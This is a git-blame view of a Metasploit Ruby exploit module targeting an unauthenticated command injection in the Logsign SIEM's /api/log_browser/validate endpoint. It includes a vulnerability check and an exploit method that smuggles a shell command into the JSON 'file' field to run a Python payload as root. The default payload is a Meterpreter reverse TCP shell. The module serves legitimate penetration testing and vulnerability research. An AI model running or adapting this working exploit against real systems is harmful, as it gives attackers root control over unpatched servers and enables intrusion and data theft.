Files
metasploit-gs/modules/exploits/linux/http/logsign_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

82 lines
2.5 KiB
Ruby
Raw Normal View History

2017-02-28 21:04:37 +03:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2017-02-28 21:04:37 +03:00
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
2025-06-20 13:20:44 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Logsign Remote Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Logsign.
By exploiting this vulnerability, unauthenticated users can execute
arbitrary code under the root user.
2017-02-28 21:04:37 +03:00
2025-06-20 13:20:44 +01:00
Logsign has a publicly accessible endpoint. That endpoint takes a user
input and then use it during operating system command execution without
proper validation.
2017-02-28 21:04:37 +03:00
2025-06-20 13:20:44 +01:00
This module was tested against 4.4.2 and 4.4.137 versions.
},
'License' => MSF_LICENSE,
'Author' => [
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
2017-02-28 21:04:37 +03:00
],
2025-06-20 13:20:44 +01:00
'References' => [
2017-02-28 21:04:37 +03:00
['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']
],
2025-06-20 13:20:44 +01:00
'Privileged' => true,
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'DefaultOptions' => {
2017-02-28 21:04:37 +03:00
'payload' => 'python/meterpreter/reverse_tcp'
},
2025-06-20 13:20:44 +01:00
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2017-02-26',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2017-02-28 21:04:37 +03:00
end
def check
2025-06-20 13:20:44 +01:00
p_hash = { :file => "#{rand_text_alpha(15 + rand(4))}.raw" }
2017-02-28 21:04:37 +03:00
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
'ctype' => 'application/json',
'data' => JSON.generate(p_hash)
)
if res && res.body.include?('{"message": "success", "success": true}')
Exploit::CheckCode::Vulnerable
2017-02-28 21:04:37 +03:00
else
Exploit::CheckCode::Safe
end
end
def exploit
print_status("Delivering payload...")
2025-06-20 13:20:44 +01:00
p_hash = { :file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #" }
2017-02-28 21:04:37 +03:00
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
'ctype' => 'application/json',
'data' => JSON.generate(p_hash)
)
end
end